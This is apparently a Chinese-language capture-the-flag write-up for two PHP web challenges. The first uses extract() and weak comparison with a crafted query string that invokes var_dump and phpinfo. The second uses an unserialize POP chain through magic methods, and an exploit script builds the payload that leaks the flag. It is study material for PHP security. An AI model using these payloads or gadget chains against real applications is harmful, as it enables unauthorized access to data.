php的弱类型,用小数点绕过 这里后面直接加字母不行
- error_reporting(0);
- extract($_GET);
- include "flag.php";
- highlight_file(__FILE__);
这里通过extract将get的参数导入为了变量
-
- $_=function($__,$___){
- return $__==$___?$___:$__;
- };
这里通过了
$_是这个函数的变量 $__ $___是函数接收到的参数
通过三元运算 即 $__ == $___ 来比较参数是不是相同,相同返回$__ ,不相同返回$___
- $$__($_($_GET{
- $___
- }[$____]{
- $_____
- }(),$flag));
-
-
- $$__($_($_GET{$___}[$____]{$_____}(),$flag));
这里
这里配合extract我们就可以传入$__的参数为var_dump 即 /?__=a&a=var_dump
因为还有()所以是个无参函数,
- phpinfo() == 'zx';
- //bool(true)
弱类型中phpinfo()是true这里使用phpinfo
这里的
$_GET{$___}[$____]{$_____}
这里的三个$___ $____ $_____都是通过_get获取的,这里也是个三维数组,其中第一维的键名为$___,第二维为$____,第三维为$_____我们可以传入类似/?___=b&____=c&_____=d的get请求,这个就是一个三维数组$_GET['b']['c']['d'],所以我们构造['b']['c']['d']=phpinfo,最后我们再传入x[b][c]=phpinfo,就完成了三维数组的构造
?__=a&a=var_dump&___=b&____=c&_____=d&[b][c][d]=phpinfo
-
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2023-01-18 08:46:07
- # @Last Modified by: h1xa
- # @Last Modified time: 2023-01-18 11:19:09
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
- */
-
- include "flag.php";
-
- class happy2year{
-
- private $secret;
- private $key;
-
- function __wakeup(){
- $this->secret="";
- }
-
- function __call($method,$argv){
-
- return call_user_func($this->key, array($method,$argv));
- }
-
-
- function getSecret($key){
- $key=$key?$key:$this->key;
- return $this->createSecret($key);
- }
-
-
- function createSecret($key){
- return base64_encode($this->key.$this->secret);
- }
-
- function __get($arg){
- global $flag;
- $arg="get".$arg;
- $this->$arg = $flag;
- return $this->secret;
- }
-
- function __set($arg,$argv){
- $this->secret=base64_encode($arg.$argv);
-
- }
-
- function __invoke(){
-
- return $this->$secret;
- }
-
-
- function __toString(){
-
- return base64_encode($this->secret().$this->secret);
- }
-
-
- function __destruct(){
-
- $this->secret = "";
- }
-
-
-
- }
-
- highlight_file(__FILE__);
- error_reporting(0);
- $data=$_POST['data'];
- $key = $_POST['key'];
- $obj = unserialize($data);
- if($obj){
- $secret = $obj->getSecret($key);
- print("你提交的key是".$key."\n生成的secret是".$secret);
- highlight_file(__FILE__);
- error_reporting(0);
- $data=$_POST['data'];
- $key = $_POST['key'];
- $obj = unserialize($data);
- if($obj){
- $secret = $obj->getSecret($key);
- print("你提交的key是".$key."\n生成的secret是".$secret);
通过这一段我们知道反序列化后先回调用getSecret而在happy2year中
- function createSecret($key){
- return base64_encode($this->key.$this->secret);
- }
这里把两个变量进行了拼接,也就是把对象当作了字符串会触发tostring
- function __toString(){
-
- return base64_encode($this->secret().$this->secret);
- }
里面调用了secret方法而不存在这个方法所以回触发call
- function __call($method,$argv){
-
- return call_user_func($this->key, array($method,$argv));
- }
通过$key = $_POST['key'];我们找到了可以构造的参数key
在回调函数中第一个是函数 也就是这里的$this_key被当成了函数执行回调用invoke
- function __invoke(){
-
- return $this->$secret;
- }
调用了$this->$secret 但是secret是私有属性触发get
- function __get($arg){
- global $flag;
- $arg="get".$arg;
- $this->$arg = $flag;
- return $this->secret;
- }
get中$arg=get 拼接 $arg 而get($arg)他接收的就是secret 也就是$arg=‘getsecret’
然后$this->$arg=$flag
给一个未定义的属性赋值时,触发__set
- function __set($arg,$argv){
- $this->secret=base64_encode($arg.$argv);
-
- }
set中接收$arg $argv $arg就是getsecret argv就是接收的数据$flag
这样.sercrt里面就有了flag
- exp
- class happy2year{
- private $secret;
- private $key;
- function __construct(){
- $this->key=$this;
- }
-
- }
- $a=new happy2year();
- echo urlencode(serialize($a));
-
- ?>
三次base解码得到flag